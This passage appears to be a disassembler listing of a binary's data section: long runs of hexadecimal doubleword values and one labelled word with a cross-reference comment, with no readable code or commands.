97848BCh dd 3BCF377h, 948B54h, 0B86F35A9h, 598C2D2Fh, 25F66C00h dd 0F155BD7Fh, 0BA402E6h, 4B0377B6h, 0F487C85Ah, 51605644h dd 29E02124h, 96F93A3Bh, 0DC201F79h, 754A487Eh, 0B9D60113h dd 311E564h, 886C24FDh, 0F209C87Eh, 80C2384Bh, 68ED4EFDh dd 7A4C26DBh, 743C268Ch, 1D130146h, 0E6FCC87Ah, 8DA5FC07h dd 0C7D09813h, 123579B1h, 533806AEh, 832004E8h, 4CF0BB0h dd 3960C3DCh, 0E210DB32h, 0A6C8913Fh, 32402080h, 59A5597h dd 90C9EBA9h, 217CC667h, 5E028E06h, 0E610AB1Eh, 0C4087106h dd 0E2D4DA78h, 0F9CC00BCh, 8885925Eh, 110802C5h, 4E02CA87h dd 0C1A0CC43h, 0E9C0F3ABh, 14A5F20h, 427090A4h, 9A5A2525h dd 64F4C790h, 0A0C76008h, 8C3C0124h, 4F9963B4h, 0D320389Dh dd 1CC8388Ah, 29E4E8C0h, 0D59638C6h, 0FC2388D1h, 75C0E08h dd 0AF7B6C28h, 53D0140h, 0B9D2D3D1h, 3C24B47Eh, 0E5CFA4Dh dd 9884E8h, 2E23FE3Fh, 944D507Dh, 1501112h, 68F52679h dd 8CC86C24h, 0FC9E9C20h, 59FC0A40h, 2B6F4BCh, 80DDAAAh dd 94D84220h, 0B7E21896h, 2851129Bh, 7918F879h, 20097D07h dd 1B0A84Dh, 4B6C3DEh, 0E63035F2h, 0C10888B0h, 13F88952h dd 488424E0h, 1F8880CEh, 28AE3BC0h, 168C00D4h, 0FB0652CDh dd 189689C0h, 88ADE68Ah, 0C7B4E340h, 2570B828h, 5898317Ah dd 8D403F6Fh, 7CD013E0h, 7250C07Bh, 762842BFh, 0DAF6ECDEh dd 7C9D3506h, 8040EE1Fh, 5D950398h, 0FC21E497h, 9BBBF902h dd 7444059h, 90B8ACC5h, 997C8098h, 5AB20C3Ch, 0E2693EA7h dd 2660EB07h, 0EE432A88h, 0CF35B858h, 0B70C002Fh, 0E941CC4Dh dd 4800A234h, 0EA74635Ah, 7B195DA1h, 0F6AB0E61h, 0D3803A88h dd 0DB08DCB5h, 53BF1E07h, 46F76E5h, 0C480676Fh, 9BF62Bh dd 5FBDCBD6h, 0A1C2748Dh, 7B805500h, 0FACF783Fh, 9FAC0043h dd 835134D0h, 0DB00337Dh, 31611B8Ch, 2D1DA56Ch, 1490D125h dd 0D048DE3Ch, 57DF121Eh, 0A78814CBh, 278646C0h, 0B090018h dd 0CD43DA94h, 7D3D5A4Bh, 0ADD4823Ch, 4102DCDEh, 5422A8ACh dd 0CF55BF1h, 0FAC279ACh, 0ED8940Ah, 518BA4E3h, 8144AC00h dd 3D885602h, 107670h, 0B4260B4Ch, 0BF744F24h, 6252D500h dd 4157D84Eh, 0AAAB1864h, 22BB4044h, 804C504Dh, 5C39A4DCh dd 58A8B4D6h, 0A400D4B3h, 29240571h, 90C241ABh, 6F8010D4h dd 68C02EBFh, 11E01D49h, 165680ADh, 2EA70783h, 0A5C0575Dh dd 0A95BD498h, 0C7B9881h, 0BFC84AABh, 0C54618B2h, 0D9323302h dd 0A7314FE2h, 319A1E10h, 1325C03h, 0A81684EBh, 7B8C6280h dd 0BABF1518h, 0D408B80Bh, 3404338Fh, 4A25F81h, 0CF4EDF1h dd 76831DA5h, 12E7C7EFh, 20A6A4AEh, 247A97F4h, 6F8F1EEh dd 704232ABh, 202F3C26h, 5DB88C83h, 0E783E834h, 0D76E1C09h dd 49A8046h, 0E431D4D5h, 0E4915569h, 711A1CE8h, 4085DDE2h dd 0D54F5087h, 210338DDh, 0F29AA3C9h, 88409D8Bh, 44C143C4h dd 389FC0Ah, 67DFB31h, 9F98EAE3h, 302E8B82h, 0A01FB098h dd 0B0A758A0h, 8212C123h, 0C07A0042h, 8070897Eh, 5A444B36h dd 9A4A2D83h, 51A5C090h, 59A11109h, 2B33008Eh, 0B14686h dd 8165A13h, 910FE2F3h, 1AD1B899h, 0D3079D18h, 0AB7AD093h dd 27F074F3h, 88877DB8h, 0C8898D28h, 1139CE80h, 17E0610h dd 4F491471h, 2E50408Ah, 93466F27h, 3E7ED00h, 0ACC87B59h dd 0F474A70h, 519828D0h, 0A324768Fh, 0BC00A5F1h, 5B20131Eh dd 0C0A702C1h, 4025A436h, 0A6E6D860h, 8FFA30A3h, 0A8100C59h dd 4B6CE381h, 48443D24h, 1AF2354h, 0E2DF322Dh, 88AD189Fh dd 4FB89424h, 398D7B00h, 0BB63FB73h, 22E1C08Bh, 879E7D27h dd 285F4D05h, 0BCB29C72h, 882B901Dh, 5424F6A0h, 0D90404ADh dd 7065B660h, 96687F25h, 0AE690044h, 6A4FA665h, 8AE2A40Ch dd 0F57E609Ah, 60DFDE0Ah, 5E006828h, 2DCF6FE9h, 0BEC0BE25h dd 0A7080200h, 0BA7EFB85h, 30039726h, 3F934674h, 840502C6h dd 56303AAAh, 5700DCF4h, 0DA542B02h, 4EBC1D33h, 24282010h dd 0BF1F71E5h, 6CC28CAFh, 542BB564h, 0EA465E78h, 0BA298000h dd 26249C8h, 665C1072h, 0DF2381D8h, 7D00EF70h, 7A76636Fh dd 0F04C76F5h, 0CCC235h, 3086FA19h, 0C091334Eh, 9DE7D22h dd 0F13AA7A4h, 5F785083h, 26984B90h, 0AC2CD49Ch, 429D8831h dd 11CC9DD2h, 0F0B680A7h, 0E8CCA1CEh, 42B902A2h, 64F21834h dd 4DFFF460h, 2FA75C80h, 240163EEh, 0BB2C7302h, 0C47E24C9h dd 0F91A9706h, 0E34B03A8h, 240A9F5Bh, 142B302Fh, 0E6D84408h dd 91A5A732h, 0A0667Eh, 166A09C3h, 0E3CCD2D8h, 0C7B6D100h dd 933F8DFDh, 3C002E4h, 0A4E59BC6h, 0FFF220DAh, 0D001FC9Ah dd 36EA1C78h, 6AC4E260h, 99EF001Dh, 65A9DAFEh, 713A16Bh dd 808487FFh, 0A8239C2Fh, 9C935600h, 16E1BCA2h, 94B1E5B0h dd 0F93784B8h, 3D51378h, 0D4E2F090h, 0A84350F3h, 8D49485h dd 8B942F5Ah, 26840020h, 1B3D7299h, 0C08104A3h, 0A48AD560h dd 54017D50h, 0FCC76F9Ah, 4BC5ADABh, 205B8878h, 0E3C53780h dd 71563Eh, 0D2FD74A5h, 0E9646FF6h, 8CC21420h, 0DC322E02h dd 799097E2h, 95254034h, 0CE38E731h, 0FC6682F9h, 0C1EF18D2h dd 4C2DE5A4h, 0F6802DC9h, 9FAD36DBh, 0BC7A6526h, 4E11C8CAh dd 33E2DA8Fh, 0EC31E65Ch, 0A512B510h, 28293600h, 7E53E38Ah dd 778804C5h, 0B2256237h, 0D5D81044h, 0BF3B7CAh, 0B0C5607Fh dd 6504649Eh, 6C834AF9h, 30BCCB6h, 9FCFDCE8h, 71F4471Dh dd 1C498E7Ch, 6B48408Bh, 2990277h, 3633D38Eh, 0F45EDF08h dd 0D07F1402h, 446C6712h, 0A9B860EEh, 88D004E2h, 0B5C3961Fh dd 25CE1BCh, 270B5A8h, 0AEE64B31h, 0C0638C4h, 92E5B981h dd 9C3A2068h, 9B0E0300h, 0D3D02C2h, 74993Ch, 0C95DD993h dd 0BD2F9557h, 5B084D3h, 27A7B64Eh, 0D6AA0C2h, 8E4CC566h dd 0C4410272h, 42AA873Ch, 5D8F048h, 302A7D83h, 6044C07Bh dd 0BF1E3267h, 8582D3ADh, 907DC102h, 92513D88h, 0E0680124h dd 1B4BD8C7h, 2306E8C5h, 2E829800h, 0EA392486h, 4AD6EC4Ah dd 237C3F36h, 0C5AD00A8h, 0D07AC1BDh, 3BD4C33Bh, 48F180CDh dd 1529A783h, 5A472E7Ch, 79020434h, 7BF50023h, 3F6F88C9h dd 588F87h, 0B8C16ECh, 5006FB56h, 4C619042h, 3C684947h dd 8C8FACCCh, 15875E8h, 6033CC58h, 88CCB413h, 0C525E362h dd 671FE468h, 149213E0h dd 15072C5h, 0B2EBD55Bh, 7C462783h, 7DAB1D54h, 0F6AFFCC2h dd 308C0EDh, 3E49C24h, 0D55D5A0Fh, 3300B178h, 0A5F28F74h dd 1E0A28DDh, 4E36AE93h, 0C05316A6h, 0F3322234h, 0C6A75909h dd 0A4D40610h, 0DEAD1240h, 0E4A8F074h, 0F882F44Eh, 300F8E3h dd 0E0EE81D5h, 0F91F28C5h, 0DF0060B7h, 86A43712h, 1E4898F3h dd 180E81C5h, 2FA54801h, 0F64B2D04h, 30BDA3E5h, 0E1B47E00h dd 1FB9FA2h, 30954C0Fh, 0A016E178h, 0BC6628DEh, 0A3D195F0h dd 5B0D661Eh, 0FE6E3942h, 645227h, 1E086104h, 96A0FBC7h dd 2B8A990Fh, 0C61D805Ch, 5026277Ch, 4B3190B7h, 0C2D4273Ch dd 0A2008FBAh, 24E62B8Bh, 0FC284DA6h, 0B820BB26h, 588EB23Fh dd 5E9076C6h, 0A5009946h, 76D5CD93h, 982628C9h, 5C0E9881h dd 0A8C177B7h, 0B2142B06h, 0F4EDF1D8h, 0DA00790Ch, 0E17B47Dh dd 10E234D0h, 4527AA4h, 9E0317Bh, 40681F49h, 840B5F81h dd 44B9496Dh, 0F2A7223Ch, 0DE68CD04h, 1082E9ACh, 88509D27h dd 8460F554h, 4E31A6E0h, 4AEC9041h, 0B092263Ch, 0EF733600h dd 0BAC0B14Bh, 0CA12072Eh, 291E777Ch, 2B31D802h, 8837F490h dd 0C49E18B8h, 5C8BCA17h, 30F4F8C4h, 9041F779h, 0E4E75C6Ah dd 35CA2B00h, 59F19ABFh, 7D4A9200h, 94B946C8h, 0A921673Ch dd 821C31DFh, 5AA020AAh, 9C05A52Ah, 0A5A4E339h, 0EFC04910h dd 0A6F0EC25h, 0C841C10Bh, 2AE69D35h, 0EC23202Fh, 92625900h dd 12726F60h, 0A11C064Bh, 1D782798h, 8220080Eh, 2864B0h dd 606FAC66h, 505C979Fh, 0CEB62500h, 48163D4Ah, 20B8B0C4h dd 1F305A4Ch, 3FB679DBh, 0FB053E3Bh, 187FEA82h, 84C64D4Bh dd 0F7786403h, 0C8922D48h, 2B46AD3h, 0C9D8D1D0h, 507036DCh dd 0AF70080Ah, 61FD894h, 8CA534D6h, 0EFBC043Ch, 0E134038Ch dd 8F7F8160h, 4DF51927h, 0ECC5C0C4h, 0E174677Ch, 5BDD8C02h dd 0E2260EBFh, 9A8E488h, 343B43E7h, 0DF00A650h, 0C95FA582h dd 0F88EB15Bh, 86282631h, 5C202586h, 80B8584Fh, 892D9D07h dd 85896F7Ch, 4882DF54h, 0D47F2028h, 0CB87E23h, 0C5DD6904h dd 54E303A9h, 40B7A627h, 473D600h, 35304ADFh, 8C9F338h dd 8B891414h, 835C22B6h, 0F7CB6298h, 9EDB9581h, 727FF09Ch dd 1EE429FDh, 0D84F6FBh, 6CE4B0E6h, 1C3DFD7Eh, 3E333F03h dd 87F0ECF7h, 3130AB03h, 475E293Ah, 0B0B8C5h, 88C0D521h dd 7E16F755h, 1096D4F8h, 2067269Dh, 1C7798C4h, 0F32D0775h dd 292B3C7Dh, 9669B868h, 714BAB00h, 0AD420689h, 5BF8246Eh dd 88D59714h, 15001FECh, 0FB6027A7h, 739FADBEh, 94A8A130h dd 0E5326B18h, 99EFB2B6h, 0E81017A8h, 704E553h, 0C37CE3CAh dd 0CD02FCB8h, 0FCC8EE80h, 0D421B0DAh, 65AB81D5h, 33C07F67h dd 0EAB9640h, 0F9C0B273h, 0E4C9D210h, 8C030126h, 0A0ECAD40h dd 9A7400E6h, 5AA4097Bh, 0EE055D54h, 7CC0F49Ch, 22C0CF2h dd 25271FE8h, 47B3089h, 6AAC405Ah, 6F7F087Dh, 300B9DBh dd 9FFC1BD1h, 210B68Eh, 52EFB4E3h, 0B5DBC22h, 1C11A41Dh dd 0CC9A880h, 3B137FEDh, 0B4687E04h, 0A7AD449Eh, 2255522Fh dd 0C491A44h, 5C429A18h, 84338210h, 5622102Eh, 0A61FDCA0h dd 18D36172h, 31B6F881h, 15842019h, 60717F88h, 74DFE9BAh dd 302F31EAh, 17C22E5h, 40607178h, 2EE116BDh, 262789F4h dd 91B017EEh, 7DA78792h, 0EBAB6F12h, 0A406A068h, 6C00B717h dd 5E53F929h, 0CC9B035Ah, 19AA899Dh, 2D0068F1h, 0CE9140A0h dd 0A9A1D0Bh, 23F140D4h, 5C072B9Bh, 2E1A7492h, 0C2492766h dd 585CF3A8h, 230074D1h, 1160A8F2h, 74320CCh, 0D0B9E64Bh dd 27914C28h, 8D72BE00h, 0E1D197E8h, 384F013Bh, 86443F51h dd 6166F830h db 91h, 0BCh word_505446 dw 59D0h ; DATA XREF: ___:off_435E08o dd 690086F5h, 4A79E6D8h, 1EBA11Dh, 0E9B79523h, 0F8150A4Fh dd 42E84E7Ch, 100BBD31h, 58184376h, 35A73F0Ch, 1A65316Fh dd 41E6B94Eh, 8B7900DEh, 10AF8C31h, 2C001837h, 6B199D17h dd 0D0D801B6h, 77FDAE26h, 0B861A42Eh, 13D2511h, 38F03C51h dd 91B8B957h, 555F0029h, 581ACBC7h, 0C81F4ED2h, 7C006298h dd 0AF957D65h, 0E24AE70Ah, 0DE680BE0h, 98667886h, 7CC33FBh dd 8E1AF3EFh, 137C4BB1h, 980BEBD4h, 2FB87937h, 2017685Ah dd 0E180AA91h, 0D4703923h, 0E5A79309h, 8088F133h, 0FD0E1F9Fh dd 9700DCD7h, 616BFE0Fh, 0BDFB5F01h, 0DAF32420h, 9917A566h dd 2CA0E089h, 0C4B7972Ch, 0EA7E6A00h, 4A310523h, 4AC043E4h dd 7178A3E6h, 0A490D64Ah, 1F6B92E1h, 34385A2h, 2B1FF859h dd 5A26DD88h, 0D4326F01h, 0DCC3EB08h, 17A26073h, 1606D430h dd 930389C1h, 21002D44h, 0C4E85260h, 1580A0Fh, 0D88AA6D1h dd 0D6DEABB4h, 344DE4A9h, 3BCEAC3h, 3CB6BB0h, 0F90002A5h dd 0B2CCEB5Eh, 2BF2EA8h, 19E784C6h, 0B0745829h, 0DAEF00D6h dd 3E3FC108h, 5A314E0Ch, 0A8E321C0h, 558320h, 57BDEC9Ch dd 9F1A5CA0h, 0A42F850Fh, 0A7E6E1CCh, 0B8232B44h, 9833A8E2h dd 5819927Bh, 506F728Dh, 907E2571h, 0F7582A0h, 8B49F42h dd 7BE0CBEFh, 0FC27834Ah, 432C3958h, 301AA2ECh, 0B5046849h dd 0D602780Fh, 3A7398E9h, 290097A2h, 0E9AF38C6h, 50067D2h dd 3D086CD5h, 0A08AB70Dh, 0AA9754h, 41275ECEh, 0E31020F0h dd 2F74BD00h, 0F8A86A4Bh, 0E92EE44h, 3B715B0h, 0E6F35C24h dd 49F70010h, 0A5AC1474h, 0E5FC0ACCh, 9DA480A7h, 0A4168DAFh dd 80E87CE9h, 4D7C4A6Eh, 30C539D6h, 59ABB900h, 0ECE3A6BFh dd 1F6F8709h, 970064CDh, 0ED91F095h, 0ABE9829Dh, 6866199Ah dd 0E4B04E90h, 40EB810Ch, 0A010B0E6h, 0B12B1CDCh, 18A6F158h dd 33D6055Eh, 0F902D8DAh, 2CF81D8Ch, 0D0A614h, 0DDA73CBFh dd 627DC128h, 8AD5A9F6h, 0C980C476h, 1FA85888h, 510C00F1h dd 0FD33FB3Dh, 0AE00FFBEh, 0F0570377h, 3CD2C0DDh, 404E122Ch dd 0B5BAD0D4h, 19F69932h, 0AFCFB704h, 80D2678Bh, 0E4A86558h dd 2F8D6099h, 0C8894EE9h, 4011F3Ch, 197E806Eh, 5C415A49h dd 91405B1Bh, 0E40126ADh, 8D4A0053h, 5A93553Bh, 3924088Ah dd 6910B8E9h, 35A71921h, 0BC1E0BB4h, 91EB859h, 6C0B6D00h dd 79FD4E7Ah, 0DC9B0087h, 3F7B7178h, 0E1057629h, 14BF77C9h dd 5CB3C017h, 763093A2h, 6E110730h, 341FB23Ch, 0A62894CCh dd 74B3E014h, 649150C0h, 6CD827D5h, 0DB0088C4h, 125AA5ECh dd 40F18BEh, 17E03A3h, 884F466h, 9DB11139h, 4643C31h, 12198880h dd 0F8FE0EE5h, 0F31B27DFh, 0EF88C49Dh, 818660F4h, 7516892Fh dd 6404D514h, 805EF52Bh, 0D4302062h, 6E5906AFh, 3C8B4B14h dd 0BDC0F3C8h, 0B8CFFAh, 117601Ch, 0BF5C3F39h, 0CAD850F1h dd 6A2F7945h, 11C89757h, 4D1280A8h, 1752F0Eh, 0ADD4CBC3h dd 0FC9130D2h, 0DF09F67Eh, 82EBB802h, 67104058h, 6094C400h dd 576C14Ah, 27EEAECCh, 1880481h, 313CC85Bh, 613D6Fh, 39A75A12h dd 28DE2C7Fh, 1FDD1114h, 4847A4CBh, 52B52675h, 14E44C1h dd 49AD30E1h, 3ED4F0C1h, 0E07F582Ch, 64575846h, 0C8C92BCh dd 0F91F7D53h, 94972389h, 0AA9D0B74h, 0B0108BD2h, 7F07DBB8h dd 0E68391Dh, 6E7EC0BFh, 12F7995Bh, 0FAB31C3h, 0AAA680A8h dd 0D5185907h, 49418D8Bh, 30A700B1h, 23D2BDAEh, 7E0085E2h dd 0C76A8142h, 99707A2h, 475726FCh, 0D1114000h, 4A2D565Ah dd 65089038h, 835902FAh, 90D1DDC9h, 1D44C847h, 294A3060h dd 0DD722000h, 0ABBEACAFh, 0CCF7052Fh, 0FC5AFB62h, 8C01BCD8h dd 0F0CB9826h, 3DDAE60h, 85F647h, 5140E19Dh, 5732BF67h dd 0AA6EDF00h, 0E308EABDh, 64F252A1h, 443018E2h, 4BA6001Bh dd 1F0807CDh, 0F7091235h, 92A4E60Eh, 2D2478A4h, 786B02B2h dd 0DAD35980h, 0BB022D79h, 8AE03094h, 0AA188327h, 0B4F9B046h dd 0DEAD09D3h, 70007FA7h, 0B9B777FBh, 0E8916492h, 1D18A8D1h dd 0C0F35B00h, 0D5518503h, 0D9C60102h, 3CD8B76Fh, 39AED8D4h dd 1C23E9h, 0F6EB6D83h, 3EEA262Dh, 1DB8B197h, 65029280h dd 3FA43696h, 6081EC4Eh, 8308A8A7h, 72CDF344h, 5E08BC80h dd 0C309FE46h, 0A04A7002h, 251D2479h, 1BF7ABC0h, 72A75BD9h dd 0CCDD5B44h, 261E1080h, 34009B05h, 9156F861h, 30C72436h dd 0B5166068h, 0A27A04B2h, 0AE692190h, 70D073C8h, 23023846h dd 4E9E9AD7h, 5120C224h, 9BCA1C78h, 3C03172h, 0E62D4BA5h dd 0CC886BA2h, 4AB14E4h, 8AFCC977h, 0C5F4FCE6h, 20495D01h dd 0E4B4C57Eh, 0F6986056h, 116A03F7h, 0E5AF1524h, 3960D4BAh dd 0AD7E84EEh, 0BF722F13h, 79789826h, 9BC9D370h, 3495806Ch dd 0BD5C0181h, 0A4E8C010h, 0B8A396E6h, 2BAB2398h, 0BB8ACD12h dd 0DC882021h, 1618603Eh, 30180D8Dh, 22914138h, 60EB00BDh dd 0F87B3639h, 0DE5906ADh, 20CF2890h, 0BFF77F00h, 3C7C6048h dd 9FA55C43h, 4DB84E4Ah, 5B5036E0h, 5C00555Ah, 0F825F0C0h dd 9CABF37Dh, 0F11D40B0h, 30E85DADh, 183D1224h, 0DF952667h dd 5C8868BCh, 0AA389BC9h, 3BDA6008h, 1650011Ch, 4302625Ah dd 8CCE2EF4h, 6F83C0BAh, 4251177h, 0D00723DFh, 8444ABFCh dd 77051337h, 8CF2A3h, 0C62B08C1h, 60D56FD6h, 0BD5F490Fh dd 235EDC04h, 0D2CF38D0h, 0DE6C00C6h, 0BA27CDC5h, 6DEA7871h dd 9FE9CB05h, 40F412A9h, 0C494254Eh, 6B03B051h, 0E0225A2Fh dd 978AD540h, 0C9002464h, 2EE7B9B6h, 16B8929Ah, 0F0E17C7Fh dd 91608BC8h, 5B53CD29h, 0F370E5E7h, 4D700354h, 6EEB8B73h dd 6593BE80h, 68D1A809h, 3D00DA32h, 1926C5Ah, 0C508C971h dd 7C81F1E1h, 77FF8038h, 5426954Fh, 3E4138DFh, 0B700B431h dd 1A216F28h, 56008D14h, 65EDD319h, 2F9D18CBh, 18903633h dd 6895B0E6h, 2DC73834h, 4E4A3E5h, 1640CC79h, 0D5913ED6h dd 21005B44h, 57820DE5h, 39CF8364h, 0D850E16Ch, 0E4B883Bh dd 0B0091C31h, 5069B81Fh, 3B002B22h, 5F598DC4h, 3EE471Dh dd 877F23E4h, 40585DCBh, 9FB40C13h, 0C5CA898h, 8EA4E528h dd 0E077F111h, 0B7784B05h, 20807EAEh, 0B0AF02DDh, 8F11021Ch dd 6F580E81h, 722CA860h, 0A5616800h, 0C72F2295h, 0B26502D3h dd 9C021F89h, 38883876h, 0D9C8376Eh, 8A5C34F8h, 1EF8334h dd 59579837h, 11310070h, 3D08AAB3h, 641573B9h, 0A4337Ch dd 2FDB16E5h, 0E3A3ECCEh, 0C8E811DDh, 0AF5A174Bh, 0DE70A062h dd 1367C007h, 9FC3093Dh, 3D18A606h, 0BEBFD02Bh, 39224E00h dd 80F3202Ah, 8075DB3Dh, 7426DAC1h, 424B263h, 0A4BCE9C8h dd 16ACF8AEh, 18052C5Ch, 0DC001D26h, 88AA8C72h, 967A301Fh dd 4877ECD0h, 9F0E3790h, 0AB3245A6h, 0BFBCC8A4h, 28CB1BADh dd 73B01114h, 0D01F4F08h, 3E402B07h, 0D58602D8h, 0D7F480h dd 0F87A717Fh, 2E33C0A5h, 9F7D3E03h, 36E0CEh, 816360EAh dd 7865C20h, 95584A00h, 0D035DE40h, 7222007Ah, 0BCB19984h dd 0EF00BE81h, 0BFC167A6h, 15C177Ch, 5A2976BDh, 0C469B6C3h dd 8EB80EFBh, 9A1880F1h, 71C178FDh, 20BF5636h, 6C89C8DFh dd 0C05D2500h, 9D267Bh, 9C667A56h, 83E9038Ah, 0FA780FE4h dd 7100ACF4h, 0BBAAFFBEh, 492A66Dh, 7C16B0A5h, 0C2372C26h dd 0C40E1D80h, 2E401408h, 1E99C998h, 3BF64C56h, 0BD35A703h dd 0F08767F0h, 0FE188428h, 0EB48E309h, 0CA5E8F7Eh, 8B23479h dd 5580A1BBh, 0D01A568Fh, 321F8A0h, 779063EDh, 31D71D3Fh dd 0EA5C56CDh, 0A7EE7740h, 763B0307h, 1750F777h, 71C721h dd 5602B553h, 36E7F085h, 8078F7Ch, 0F7806AB3h, 21197DD3h dd 0F308A929h, 84BF9047h, 6D441810h, 3BF44401h, 44694B44h dd 115F15E0h, 3DD91103h, 18085721h, 84659044h, 8348CFCAh dd 5988B04Eh, 0B8503E80h, 8730C4h, 2CBB1416h, 0C058F24Bh dd 0C8C24800h, 0A504F78Ch, 0DED200E6h, 6DE416D3h, 9500A2DFh dd 3DB3B1E8h, 3C8BD0h, 0F70801BBh, 83D88E13h, 23933Eh dd 0E75703DDh, 736BDFh, 0E2FAADD6h, 0A46DD390h, 9B7D8F00h dd 0B9370A74h, 0E02E00A1h, 67FA1709h, 0A50028CFh, 1C194E4Fh dd 0DDD825h, 92C49B9Eh, 0C5527986h, 4A5B3600h, 3596A070h dd 818E004Dh, 5A0B7407h, 24F2F9D2h, 0F8807500h, 307FCBF7h dd 0AF1901FFh, 7B6DDDA2h, 0AEE6ECD4h, 0F2505700h, 0EAC4EE65h dd 2A0603E7h, 593F365Eh, 67AB16A8h, 0F903C300h, 7B574A1Bh dd 0F010F75h, 0AFA79814h, 0FD9B108Bh, 52000EE2h, 0FFC5D9A7h dd 38CF7753h, 8A816A32h, 144B9406h, 4CD12034h, 0A1CA8F00h dd 983A131Ah, 16CF18A0h, 28F98043h, 3BF16000h, 42FA3455h dd 0E98F00C5h, 0D05A506Ah, 3A18D8B2h, 1578F69Ah, 0DEB40022h dd 0E7DF98A0h, 1D001F14h, 59A6C266h, 18862EB2h, 31F80863h dd 8000FE40h, 0BCDBC590h, 0F143377h, 94E61AC6h, 0AAA2E4A0h dd 5407D46Ah, 2D48CF76h, 45996CA0h, 7A40075h, 0CEB10EADh dd 0F004769h, 0D32E0C03h, 3C183DDh, 0F9E62935h, 38982382h dd 59240852h, 7900A48Fh, 75B6AF45h, 0DD8A07E3h, 0A960133Dh dd 7DA63800h, 0B50717B0h, 87E4AC33h, 0F93973B0h, 0DE4E0020h dd 1B26A1BBh, 0EA0ECB5Dh, 20CFC3F8h, 4813D262h, 0F6C40C6Bh dd 80E066F0h, 2F00BEEAh, 0CD8917Ah, 303C6EB0h, 62107BDCh dd 0DF4758Fh, 0F3D48A0Eh, 0A0864C05h, 0A15601F8h, 5860CE2Dh dd 0FA4BC00Eh, 0FCEC0F0Eh, 5ACD6079h, 0DCB5FBh, 80A507B6h dd 1F33941Ch, 17AD7002h, 572CDE4Bh, 407422C1h, 0D0E4E6E4h dd 0D8904C00h, 1A6DA846h, 0F50E39ECh, 32B75580h, 8CA52BADh dd 0FCD54D18h, 0C4B64A0h, 0FAB4513Eh, 0C1084110h, 80AD2A07h dd 0B3ED88A9h, 0AC0CF72Bh, 18FD269Eh, 4B5006Ch, 6DEE18E6h dd 0BD00AF1Dh, 888BFEC9h, 0F77C59h, 0EA2B015Bh, 0C3282ADBh dd 68AC9C1Eh, 0A6BFB003h, 95040090h, 0DA772043h, 5F009C18h dd 57DB6FF7h, 1FB49D28h, 83B8C540h, 54C4B668h, 1BA15088h dd 0EA9F5100h, 70909BAFh, 0EC81003Ch, 0CF64662Eh, 4E7EE15Ah dd 0DDB9B200h, 1F4C279Dh, 90BAE21Ah, 7844031Ah, 928BF7CFh dd 0B49B8AF3h, 0E909DAC8h, 0A4814E0Ch, 5110B3h, 0D65B9571h dd 1AC7273Ah, 6E36FA1Dh, 85334340h, 0C8DFD7h, 1EE0C0Ah dd 0EF4C9B7Bh, 0FFCB6400h, 0CCF27CFBh, 0A0435A59h, 5E00AE08h dd 0ED692ADAh, 0D27306h, 31C36C7Dh, 1D9CB0E1h, 30989777h dd 8A0FA801h, 54CFC7Fh, 30B8CCh, 5427392Fh, 656B975Ch dd 0C6002090h, 9E99D9FFh, 1A3D066h, 0C03612E0h, 0C8253143h dd 59FEB23Ah, 5B75CF79h, 0D7699200h, 0FBFD8909h, 84F50423h dd 0C0D0E78Dh, 0ED08B6B4h, 8A243A00h, 2236460Ah, 0D5F40CF8h dd 0B3911044h, 15E1B112h, 0CB63B303h, 4BC288B0h, 0F706Ah dd 0CDB7CA84h, 0EA4AF40Ah, 8506881Eh, 0DDD7D480h, 2A103Ah dd 4CA27FB2h, 57DA22DEh, 0F277A700h, 45045CCBh, 3F2F3841h dd 0E2CF5DA8h, 4C8A034Ah, 0FD560D2Bh, 75D057C8h, 92002C90h dd 0BD3253ABh, 0BEDEEEh, 1A14293Ch, 0C3EF02C8h, 1D424902h dd 609E198Dh, 302108A5h, 0B604C50Ah, 0F0062256h, 1045B8EEh dd 4DA400BCh, 0F18B3C57h, 0B2090BABh, 8041925h, 0E100D404h dd 0D3E7A06Eh, 0C13A0030h, 9EB9896h, 197C2752h, 1293353Ah dd 0C00DD47h, 281D292Eh, 0BD0700E8h, 0B3223B9Ch, 0FD0FEAAFh dd 0C0C37D3Ch, 0D5620576h, 980803F7h, 0ACCDBA45h, 0DAC1DDA8h dd 4C6CD400h, 60975410h, 188E4C92h, 6481D738h, 57692B21h dd 3DF88049h, 8EC8A214h, 2A300065h, 95F85DA5h, 6600F67Bh dd 0FD47E685h, 5516E9h, 8390FB73h, 1AD8869Dh, 0B3DD4B00h dd 91CAEB28h, 4FC40039h, 9AD9C940h, 6A5053F8h, 3526E280h dd 11302B61h, 13CF3DEAh, 9A70544h, 0EC00C8AFh, 742BE98Ah dd 0D800E070h, 9BC66012h, 0D6616Ah, 0EBF0F480h, 91DC7BDAh dd 2B1148h, 341BABD1h, 0B53ED7Ch, 3C79D945h, 0F3F5B400h dd 2009D793h, 12E684h, 498F8DABh, 0E9F859h, 0D3242B29h dd 9C3FEBD2h, 18AB6324h, 2169FF00h, 0AADDBCh, 664267E3h dd 0E781D090h, 0C9DC4000h, 0F51298A8h, 7B6303C2h, 0EC08231Ch dd 8731DBC8h, 0E1ADE700h, 9BD2BAEh, 0A0A948B8h, 0CA2E4C00h dd 0F594FF12h, 0B6D03A00h, 847B97D4h, 93E5008Ah, 87347F57h dd 8000F1F3h, 0C9675511h, 6491DF5h, 962F91CEh, 611C5834h dd 0D880435Dh, 28B66B21h, 92AD0039h, 5BF51F6Dh, 0BA00D647h dd 0E531B064h, 63BE33h, 274DC43Bh, 0C25D150Fh, 3869307h dd 6CE10937h, 0E0C0FB66h, 77900772h, 20B6F5CAh, 0C1848F3Fh dd 0EBEA860Eh, 0E3514163h, 45DC5A3Bh, 54F701E7h, 2D0A040Dh dd 4056ED99h, 2357E8BCh, 0F80E330Ch, 0A54C84h, 713014Eh dd 3B9746FBh, 4D439800h, 4AD87752h, 0AF3900DEh, 75F57615h dd 0EC016155h, 6F9653EBh, 1D864B4h, 84CF0057h, 0F4AFFA22h dd 801B54Ch, 0EED992E4h, 8C20BA62h, 8283164Dh, 372C0013h dd 5BB4865Fh, 55420B00h, 0ACADF8C9h, 8552006Ch, 0EB5E2922h dd 400F5D0h, 5CFDA326h, 2EE8D9h, 4D7A48A2h, 0CAAB3059h dd 31D5A700h, 3717EF28h, 0F4E70021h, 60CB8801h, 9A000C98h dd 0A6499FDDh, 1E2BD4Bh, 0C4D9772Ch, 0C00A6626h, 0A400B2C7h dd 0EC88066Eh, 4B84A2h, 0D5B9FB93h, 2EF4B315h, 1050AA00h dd 5DED715Eh, 7D4908Dh, 0C9411A0Bh, 7F93109Eh, 50F22F21h dd 0E9FCF400h, 7B8F83A0h, 0B5D45808h, 871D031Dh, 528ED8B7h dd 0AC425143h, 0B9339400h, 96122609h, 0D404B2AAh, 2080FF7Eh dd 1A41112h, 7673FA14h, 